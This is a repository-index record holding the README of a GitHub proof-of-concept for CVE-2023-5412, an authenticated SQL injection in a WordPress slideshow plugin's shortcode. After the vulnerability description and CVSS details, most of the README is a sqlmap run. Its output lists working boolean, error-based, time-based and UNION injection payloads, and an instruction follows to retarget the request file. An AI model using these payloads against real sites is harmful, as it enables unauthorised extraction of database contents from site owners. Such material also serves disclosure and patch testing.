{"id":21125710,"url":"https://github.com/randomrobbiebf/cve-2023-5412","last_synced_at":"2026-01-01T22:50:34.314Z","repository":{"id":204647274,"uuid":"712341472","full_name":"RandomRobbieBF/CVE-2023-5412","owner":"RandomRobbieBF","description":"Image horizontal reel scroll slideshow \u003c= 13.2 -  Authenticated (Subscriber+) SQL Injection via Shortcode","archived":false,"fork":false,"pushed_at":"2023-10-31T09:32:33.000Z","size":12,"stargazers_count":5,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-21T05:41:43.523Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-10-31T09:26:21.000Z","updated_at":"2024-08-12T20:32:57.000Z","dependencies_parsed_at":null,"dependency_job_id":"ada46ba3-57dd-4e79-b60e-08c24ad7d1ac","html_url":"https://github.com/RandomRobbieBF/CVE-2023-5412","commit_stats":null,"previous_names":["randomrobbiebf/cve-2023-5412"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-5412","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-5412/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-5412/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2023-5412/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/CVE-2023-5412/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243573166,"owners_count":20312879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:28.950Z","updated_at":"2026-01-01T22:50:34.248Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2023-5412\nImage horizontal reel scroll slideshow \u0026lt;= 13.2 -  Authenticated (Subscriber+) SQL Injection via Shortcode\n\n### Description:\nThe Image horizontal reel scroll slideshow plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode in versions up to, and including, 13.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with subscriber-level and above permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\n```  \nCVE ID: CVE-2023-5412\nCVSS Score: 8.8\nCVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nSeverity: high\nPlugin Slug: image-horizontal-reel-scroll-slideshow\n\nWPScan URL: https://www.wpscan.com/plugin/image-horizontal-reel-scroll-slideshow\nReference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/08fb698f-c87c-4200-85fe-3fe72745633e?source=api-prod\n```\n\nPOC\n---\n\n```\n$ python3 sqlmap.py -r request.txt --level 5 --risk 3 --dbms mysql\n        ___\n       __H__\n ___ ___[,]_____ ___ ___  {1.7.10.4#dev}\n|_ -| . [(]     | .'| . |\n|___|_  [,]_|_|_|__,|  _|\n      |_|V...       |_|   https://sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 09:30:00 /2023-10-31/\n\n[09:30:00] [INFO] parsing HTTP request from 'r.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y\nJSON data found in POST body. Do you want to process it? [Y/n/q] y\nCookie parameter 'splunkweb_csrf_token_8000' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] n\n[09:30:05] [INFO] testing connection to the target URL\n[09:30:05] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: JSON #1* ((custom) POST)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: {\"id\":15278,\"title\":\"test\",\"content\":\"\u003c!-- wp:shortcode --\u003e\\n[ihrss-gallery type=\\\"GROUP1' AND 6149=6149-- rURz\\\" w=\\\"600\\\" h=\\\"170\\\" speed=\\\"1\\\" bgcolor=\\\"#FFFFFF\\\" gap=\\\"5\\\" random=\\\"YES\\\"]\\n\u003c!-- /wp:shortcode --\u003e\",\"status\":\"publish\"}\n\n    Type: error-based\n    Title: MySQL \u003e= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)\n    Payload: {\"id\":15278,\"title\":\"test\",\"content\":\"\u003c!-- wp:shortcode --\u003e\\n[ihrss-gallery type=\\\"GROUP1' AND GTID_SUBSET(CONCAT(0x7176707171,(SELECT (ELT(2634=2634,1))),0x717a6a6a71),2634)-- HfPe\\\" w=\\\"600\\\" h=\\\"170\\\" speed=\\\"1\\\" bgcolor=\\\"#FFFFFF\\\" gap=\\\"5\\\" random=\\\"YES\\\"]\\n\u003c!-- /wp:shortcode --\u003e\",\"status\":\"publish\"}\n\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: {\"id\":15278,\"title\":\"test\",\"content\":\"\u003c!-- wp:shortcode --\u003e\\n[ihrss-gallery type=\\\"GROUP1' AND (SELECT 9808 FROM (SELECT(SLEEP(5)))ZygG)-- lLMa\\\" w=\\\"600\\\" h=\\\"170\\\" speed=\\\"1\\\" bgcolor=\\\"#FFFFFF\\\" gap=\\\"5\\\" random=\\\"YES\\\"]\\n\u003c!-- /wp:shortcode --\u003e\",\"status\":\"publish\"}\n\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 7 columns\n    Payload: {\"id\":15278,\"title\":\"test\",\"content\":\"\u003c!-- wp:shortcode --\u003e\\n[ihrss-gallery type=\\\"GROUP1' UNION ALL SELECT NULL,CONCAT(0x7176707171,0x584263726a5256524c4a78706c756a77726d4d626c754b4d654558734a4d6254664a4d4256565574,0x717a6a6a71),NULL,NULL-- -\\\" w=\\\"600\\\" h=\\\"170\\\" speed=\\\"1\\\" bgcolor=\\\"#FFFFFF\\\" gap=\\\"5\\\" random=\\\"YES\\\"]\\n\u003c!-- /wp:shortcode --\u003e\",\"status\":\"publish\"}\n---\n[09:30:05] [INFO] testing MySQL\n[09:30:05] [WARNING] the back-end DBMS is not MySQL\n[09:30:05] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system\n[09:30:05] [WARNING] HTTP error codes detected during run:\n403 (Forbidden) - 3 times\n\n[*] ending @ 09:30:05 /2023-10-31/\n```\n\n### Info\n\nChange the url and the cookies to match your target in request.txt and then run sqlmap like above.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2023-5412","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2023-5412","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2023-5412/lists"}